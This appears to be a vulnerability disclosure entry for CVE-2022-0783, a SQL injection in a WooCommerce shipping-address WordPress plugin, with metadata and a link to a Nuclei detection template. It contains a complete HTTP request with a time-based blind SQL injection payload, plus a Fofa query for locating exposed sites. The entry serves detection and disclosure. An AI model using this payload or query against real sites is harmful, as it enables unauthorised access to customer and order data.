| Title | Multiple Shipping Address Woocommerce < 2.0 - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Unauthenticated attackers can execute time-based blind SQL injection to extract database contents, potentially exposing sensitive WooCommerce customer and order data. |
| Remediation | Update the Multiple Shipping Address Woocommerce plugin to version 2.0 or later. |
| CVSS Score | 8.6 |
| EPSS Score | 0.51271 |
| CVE ID | CVE-2022-0783 |
| CWE ID | CWE-89 |
| Fofa Query | body="wp-content/plugins/multiple-shipping-address-woocommerce" |
| Tags | cve cve2022 wordpress wp wp-plugin multiple-shipping-address-woocommerce sqli vuln |
The Multiple Shipping Address Woocommerce plugin before 2.0 does not properly sanitize and escape numerous parameters before using them in SQL statements via some AJAX actions available to unauthenticated users, leading to unauthenticated SQL injections.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 79
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=ocwma_choice_address&sid=3+AND+(SELECT+1946+FROM+(SELECT(SLEEP(7)))zsme)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0783.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0783.pcap
N/AN/A